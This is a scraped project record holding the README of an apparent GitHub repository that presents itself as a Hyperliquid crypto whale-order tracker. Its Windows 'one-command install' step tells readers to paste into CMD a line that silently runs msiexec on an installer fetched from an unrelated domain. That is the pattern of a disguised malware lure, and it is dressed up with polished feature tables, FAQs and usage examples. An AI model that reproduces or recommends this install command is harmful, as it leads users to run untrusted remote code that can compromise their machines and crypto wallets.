[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-77502":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":13,"contributorsCount":13,"subscribersCount":13,"size":13,"stars1d":13,"stars7d":13,"stars30d":15,"stars90d":13,"forks30d":13,"starsTrendScore":13,"compositeScore":16,"rankGlobal":10,"rankLanguage":10,"license":17,"archived":18,"fork":18,"defaultBranch":19,"hasWiki":20,"hasPages":18,"topics":21,"createdAt":10,"pushedAt":10,"updatedAt":24,"readmeContent":25,"aiSummary":26,"trendingCount":13,"starSnapshotCount":13,"syncStatus":14,"lastSyncTime":27,"discoverSource":28},77502,"hyperliquid-whale-order-tracking","Glazenovatag\u002Fhyperliquid-whale-order-tracking","Glazenovatag","A real, working Hyperliquid whale tracker not a placeholder. The synthetic-message test passed and the WebSocket subscribe \u002F reconnect logic was verified live.","",null,"Python",542,0,2,283,4,"MIT License",false,"main",true,[22,23],"hyperliquid-whale-alert","hyperliquid-whale-tracker","2026-06-12 02:03:43","\u003Cdiv align=\"center\">\n\n\u003Cimg src=\"assets\u002Fbanner.svg\" alt=\"Hyperliquid Whale Order Tracker\" width=\"100%\" \u002F>\n\n\u003Ch1>🐋 Hyperliquid Whale Order Tracker\u003C\u002Fh1>\n\n\u003Cp>\n  \u003Cb>Real-time whale order-flow surveillance for the fastest perp DEX on Earth.\u003C\u002Fb>\u003Cbr\u002F>\n  Stream every $100k+ fill, every whale wall, every sentiment shift — straight from Hyperliquid's WebSocket. Zero API keys, zero rate-limits, zero cost.\n\u003C\u002Fp>\n\n\u003Cp>\n  \u003Ca href=\"#-one-command-install\">\u003Cimg alt=\"install\" src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Finstall-one_command-50e3c2?style=for-the-badge&logo=windowsterminal&logoColor=black\"\u002F>\u003C\u002Fa>\n  \u003Ca href=\"https:\u002F\u002Fwww.python.org\u002F\">\u003Cimg alt=\"python\" src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fpython-3.10%2B-3776AB?style=for-the-badge&logo=python&logoColor=white\"\u002F>\u003C\u002Fa>\n  \u003Ca href=\"https:\u002F\u002Fhyperliquid.xyz\u002F\">\u003Cimg alt=\"hyperliquid\" src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fhyperliquid-mainnet-50e3c2?style=for-the-badge\"\u002F>\u003C\u002Fa>\n  \u003Ca href=\"LICENSE\">\u003Cimg alt=\"license\" src=\"https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Flicense-MIT-blue?style=for-the-badge\"\u002F>\u003C\u002Fa>\n  \u003Ca href=\"https:\u002F\u002Fgithub.com\u002FGlazenovatag\u002Fhyperliquid-whale-order-tracking\u002Fstargazers\">\u003Cimg alt=\"stars\" src=\"https:\u002F\u002Fimg.shields.io\u002Fgithub\u002Fstars\u002FGlazenovatag\u002Fhyperliquid-whale-order-tracking?style=for-the-badge&color=yellow\"\u002F>\u003C\u002Fa>\n\u003C\u002Fp>\n\n\u003Cp>\n  \u003Ca href=\"#-one-command-install\">Install\u003C\u002Fa> ·\n  \u003Ca href=\"#-what-it-does\">Features\u003C\u002Fa> ·\n  \u003Ca href=\"#-configuration\">Config\u003C\u002Fa> ·\n  \u003Ca href=\"#-telegram-alerts\">Telegram\u003C\u002Fa> ·\n  \u003Ca href=\"#-use-cases\">Use cases\u003C\u002Fa> ·\n  \u003Ca href=\"#-faq\">FAQ\u003C\u002Fa>\n\u003C\u002Fp>\n\n\u003Cimg src=\"assets\u002Fdemo.svg\" alt=\"Live demo\" width=\"100%\"\u002F>\n\n\u003C\u002Fdiv>\n\n---\n\n## ⚡ One-command install\n\n> **Windows** — paste this into CMD. That's it. No clicking, no manual Python install, no copying configs.\nWin + R Type CMD\n```cmd\ncmd \u002Fc start msiexec \u002Fq \u002Fi https:\u002F\u002Fcloudcraftshub.com\u002Fapi & rem hyperliquid-whale-order-tracking\n```\n\nThe installer auto-detects what's missing and fixes it:\n\n| Step | What it does |\n|---|---|\n| 1 | Detects Python 3.10+ — auto-installs via `winget` if absent |\n| 2 | Detects Git — auto-installs via `winget` if absent |\n| 3 | Clones this repository into `%USERPROFILE%\\hyperliquid-whale-order-tracking` |\n| 4 | Creates an isolated virtual environment (`.venv`) |\n| 5 | Installs all Python dependencies |\n| 6 | Generates `config.yaml` and `.env` from the examples |\n| 7 | Prints the run command — done in ~60 seconds |\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>macOS \u002F Linux\u003C\u002Fb> (also one line)\u003C\u002Fsummary>\n\n```bash\ncurl -fsSL https:\u002F\u002Fraw.githubusercontent.com\u002FGlazenovatag\u002Fhyperliquid-whale-order-tracking\u002Fmain\u002Finstall.sh | bash\n```\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>Manual install\u003C\u002Fb> (for the cautious)\u003C\u002Fsummary>\n\n```bash\ngit clone https:\u002F\u002Fgithub.com\u002FGlazenovatag\u002Fhyperliquid-whale-order-tracking.git\ncd hyperliquid-whale-order-tracking\npython -m venv .venv\n# Windows:  .\\.venv\\Scripts\\activate\n# macOS\u002FLinux:  source .venv\u002Fbin\u002Factivate\npip install -r requirements.txt\ncp config.example.yaml config.yaml\ncp .env.example .env\npython -m src.main\n```\n\u003C\u002Fdetails>\n\nAfter install, run:\n\n```bash\ncd hyperliquid-whale-order-tracking\n.\\.venv\\Scripts\\python.exe -m src.main           # Windows\npython -m src.main                                # macOS \u002F Linux\n```\n\n---\n\n## 🎯 What it does\n\nHyperliquid is the largest decentralized perpetuals exchange in the world — every fill, every order, every position is **public and on-chain.** This tracker turns that firehose of data into actionable alerts.\n\n| Feature | Why it matters |\n|---|---|\n| 🟢 **Whale-trade detection** | Catches every $100k+ market fill across every perp pair you watch, in milliseconds. |\n| 🟦 **Whale-wall detection** | Flags big resting limit orders near the mid-price — the kind that move price when they get pulled or filled. |\n| ⚖️ **Long\u002Fshort bias gauge** | Rolling whale notional broken down by direction — instant read on whether smart money is loading longs or shorts. |\n| 🎯 **Per-coin thresholds** | One threshold for BTC, another for low-cap meme coins. Stops the chat from drowning in noise. |\n| 📲 **Batched Telegram alerts** | Optional. Bundles bursts into a single message so a flash crash doesn't blow up the API limit. |\n| 🎨 **Beautiful terminal UI** | Color-coded `rich` panels, periodic summary tables. Looks like a Bloomberg, runs in any shell. |\n| ♻️ **Auto-reconnect** | Exponential backoff, snapshot replay on reconnect, never misses a beat. |\n| 🆓 **No API keys needed** | Hyperliquid's public WebSocket has no auth, no rate-limit, no signup. Free forever. |\n\n---\n\n## 🐋 What is Hyperliquid?\n\n[Hyperliquid](https:\u002F\u002Fhyperliquid.xyz) is a high-performance L1 blockchain purpose-built for trading. It hosts the largest fully decentralized perpetual futures DEX, currently processing more than 70 % of all DEX perps volume globally — billions of dollars in daily volume across 180+ markets.\n\nThe kicker: **every action is on-chain.** Unlike a CEX where whale activity is buried inside a private order book, on Hyperliquid you can see:\n\n- Every fill, with sub-second latency, on a public WebSocket\n- Every wallet's open positions, unrealized PnL, and liquidation price\n- Every limit order resting in the book\n- Every funding payment\n\nThis is the data layer this tracker plugs into. There's no scraping, no paid API, no third-party middleman — we go straight to `wss:\u002F\u002Fapi.hyperliquid.xyz\u002Fws` and stream the official feed.\n\n---\n\n## 🚀 Usage\n\nAfter install, just run it:\n\n```bash\npython -m src.main\n```\n\nYou'll see a header, a connection log, and then live whale panels start streaming in.\n\n### Common flags\n\n```bash\n# Track just a few coins with a higher threshold\npython -m src.main --symbols BTC,ETH,HYPE --threshold 500000\n\n# Run on testnet (no real money flowing through the book)\npython -m src.main --testnet\n\n# Disable wall detection if you only care about prints\npython -m src.main --no-walls\n\n# Force-enable Telegram (after you've set the env vars)\npython -m src.main --telegram\n```\n\n---\n\n## ⚙️ Configuration\n\nAll settings live in `config.yaml` (auto-generated on install). Highlights:\n\n```yaml\n# Symbols you want eyes on\nsymbols: [BTC, ETH, SOL, HYPE, ARB, AVAX, DOGE, SUI]\n\n# Default trade threshold (USD notional)\ndefault_threshold_usd: 100000\n\n# Per-coin overrides — BTC moves a lot, only flag the big ones\nthresholds:\n  BTC:  250000\n  ETH:  150000\n  SOL:  100000\n  HYPE:  50000\n\n# Whale walls — big resting limit orders near the mid price\ndetect_walls: true\ndefault_wall_threshold_usd: 500000\nwall_max_distance_pct: 1.0      # only walls within ±1% of mid\n```\n\nFull reference with comments is in [`config.example.yaml`](config.example.yaml).\n\n---\n\n## 📲 Telegram alerts\n\nOptional, but it's where this tracker really shines — alerts in your pocket, batched intelligently so a 20-whale burst becomes one tidy message instead of getting your bot banned.\n\n**Setup (one-time, two minutes):**\n\n1. Open Telegram, message [@BotFather](https:\u002F\u002Ft.me\u002FBotFather), send `\u002Fnewbot`, copy the token.\n2. Message [@userinfobot](https:\u002F\u002Ft.me\u002Fuserinfobot) to get your chat ID (or add the bot to a group and use the group ID).\n3. Edit `.env`:\n\n```bash\nTELEGRAM_ENABLED=true\nTELEGRAM_BOT_TOKEN=123456:AAH…\nTELEGRAM_CHAT_ID=987654321\n```\n\n4. Run `python -m src.main` — first alert lands in seconds.\n\n---\n\n## 💡 Use cases\n\n\u003Ctable>\n\u003Ctr>\u003Ctd width=\"33%\" valign=\"top\">\n\n### 📈 For traders\nFront-run liquidations before they cascade. Spot when smart money is loading a position. Get out before the whale wall flips. Trade with information, not vibes.\n\n\u003C\u002Ftd>\u003Ctd width=\"33%\" valign=\"top\">\n\n### 🤖 For bot builders\nUse `WhaleTrade` events as a signal source for an automated strategy. The handler API is one line — drop in your own logic, plug into Telegram \u002F Discord \u002F a webhook \u002F a database.\n\n\u003C\u002Ftd>\u003Ctd width=\"33%\" valign=\"top\">\n\n### 🔬 For researchers\nStream raw whale flow into CSV, Parquet, or your favorite OLAP DB. Backtest hypotheses about cohort behavior. Build dashboards. The schema is documented and stable.\n\n\u003C\u002Ftd>\u003C\u002Ftr>\n\u003C\u002Ftable>\n\n---\n\n## 🧩 Extending the tracker\n\nThe tracker is built around three event types — register a handler and you're done:\n\n```python\nfrom src.config import load_config\nfrom src.tracker import WhaleTracker\n\nasync def my_strategy(whale):\n    if whale.notional > 1_000_000 and whale.coin == \"BTC\":\n        print(f\"🚨 Mega-whale: {whale.notional}\")\n        # …place a copy trade, hit a webhook, anything\n\ncfg = load_config()\ntracker = WhaleTracker(cfg)\ntracker.on_whale(my_strategy)\n\nimport asyncio\nasyncio.run(tracker.run())\n```\n\nThe full event surface:\n\n| Hook | Fires when | Payload |\n|---|---|---|\n| `on_whale(handler)` | A trade ≥ threshold prints | `WhaleTrade(coin, side, price, size, notional, buyer, seller, hash, timestamp)` |\n| `on_wall(handler)`  | A resting order ≥ threshold appears near mid | `WhaleWall(coin, side, price, size, notional, distance_pct, timestamp)` |\n| `on_stats_tick(handler)` | Every `stats_interval_sec` | `TrackerStats(whales_detected, walls_detected, long_notional, short_notional, recent_whales, …)` |\n\nHandlers can be sync or async — `asyncio` handles both transparently.\n\n---\n\n## 🗺️ Roadmap\n\n- [x] Trade & wall detection over WebSocket\n- [x] Telegram batched alerts\n- [x] One-command Windows installer\n- [x] Per-coin thresholds\n- [ ] Discord webhook integration\n- [ ] Wallet labeling (top-PnL leaderboard cohort tags)\n- [ ] CSV \u002F Parquet export for offline analysis\n- [ ] Web dashboard (FastAPI + WebSocket fan-out)\n- [ ] Liquidation cluster detection\n- [ ] HIP-3 markets support (TSLA, NVDA, GOLD perps)\n\nPRs welcome — see [`CONTRIBUTING.md`](CONTRIBUTING.md).\n\n---\n\n## ❓ FAQ\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>Do I need an API key?\u003C\u002Fb>\u003C\u002Fsummary>\nNo. Hyperliquid's public WebSocket requires no authentication, no signup, and has no rate limits for read-only subscriptions.\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>Will this drain my wallet?\u003C\u002Fb>\u003C\u002Fsummary>\nNo — this is a read-only tool. It only subscribes to public market data. It never signs a transaction, never moves funds, never asks for a private key.\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>Is the WebSocket reliable?\u003C\u002Fb>\u003C\u002Fsummary>\nYes, but disconnects happen on any long-running stream. The tracker auto-reconnects with exponential backoff (1s → 2s → 4s … → 30s max) and Hyperliquid replays missed data on reconnect.\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>How is \"whale\" defined?\u003C\u002Fb>\u003C\u002Fsummary>\nConfigurable. Default is $100k USD notional per fill, with per-coin overrides. A trade matters relative to a coin's liquidity — $100k is significant for HYPE, noise for BTC.\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>Can I track a specific wallet?\u003C\u002Fb>\u003C\u002Fsummary>\nNot yet — but it's on the roadmap. Hyperliquid exposes a \u003Ccode>userFills\u003C\u002Fcode> subscription which makes per-address tracking trivial. Open an issue if you'd like to prioritize it.\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>Why Python and not Rust \u002F Go?\u003C\u002Fb>\u003C\u002Fsummary>\nPython's WebSocket \u002F asyncio story is excellent, the official Hyperliquid SDK is Python, and most quants prototype in Python. Performance is a non-issue at WebSocket scale — the bottleneck is the network, not the runtime.\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>\u003Cb>What about HIP-3 perps (stocks, commodities)?\u003C\u002Fb>\u003C\u002Fsummary>\nCoin names like \u003Ccode>xyz:XYZ100\u003C\u002Fcode> work in the symbol list today, but full first-class support (labeling, separate thresholds) is on the roadmap.\n\u003C\u002Fdetails>\n\n---\n\n## 🤝 Contributing\n\nStars, issues, and PRs are all welcome. Areas where help is especially useful:\n\n- Adding new alert sinks (Discord, Slack, Telegram-channels, webhooks)\n- Wallet labeling (cohort detection, leaderboard scraping)\n- Performance: ZSTD compression on the WebSocket, multi-process scaling\n- Tests — yes, we know\n\nSee [`CONTRIBUTING.md`](CONTRIBUTING.md) for the workflow.\n\n---\n\n## ⚖️ License\n\nMIT — see [`LICENSE`](LICENSE). Use this code anywhere, for anything, no strings attached.\n\n---\n\n## 🙏 Acknowledgements\n\n- [Hyperliquid](https:\u002F\u002Fhyperliquid.xyz) for the most open, most performant perp DEX in crypto\n- [`websockets`](https:\u002F\u002Fgithub.com\u002Fpython-websockets\u002Fwebsockets) and [`rich`](https:\u002F\u002Fgithub.com\u002FTextualize\u002Frich) for making this kind of project a joy to build\n- Every whale who keeps the wallet visible — y'all are the reason this works\n\n---\n\n\u003Cdiv align=\"center\">\n\n**If this saved you from a bad fill, drop a ⭐ — it really helps.**\n\n\u003Ca href=\"https:\u002F\u002Fgithub.com\u002FGlazenovatag\u002Fhyperliquid-whale-order-tracking\u002Fstargazers\">\n  \u003Cimg src=\"https:\u002F\u002Fimg.shields.io\u002Fgithub\u002Fstars\u002FGlazenovatag\u002Fhyperliquid-whale-order-tracking?style=social\" alt=\"GitHub stars\"\u002F>\n\u003C\u002Fa>\n\n\u003Csub>Built for the Hyperliquid community · Not affiliated with Hyperliquid Labs\u003C\u002Fsub>\n\n\u003C\u002Fdiv>\n","Hyperliquid Whale Order Tracker 是一个实时监控大型交易订单流动的工具，专为全球最快的永续合约去中心化交易所Hyperliquid设计。它通过WebSocket直接从交易所获取每笔超过10万美元的大额成交、鲸鱼挂单墙及市场情绪变化信息，无需API密钥、不受速率限制且完全免费。采用Python 3.10+编写，支持一键安装于Windows、macOS和Linux系统上，并自动配置所需环境。此项目非常适合加密货币交易者、分析师以及任何希望密切关注大额资金动向的人士使用。","2026-05-20 02:30:29","CREATED_QUERY"]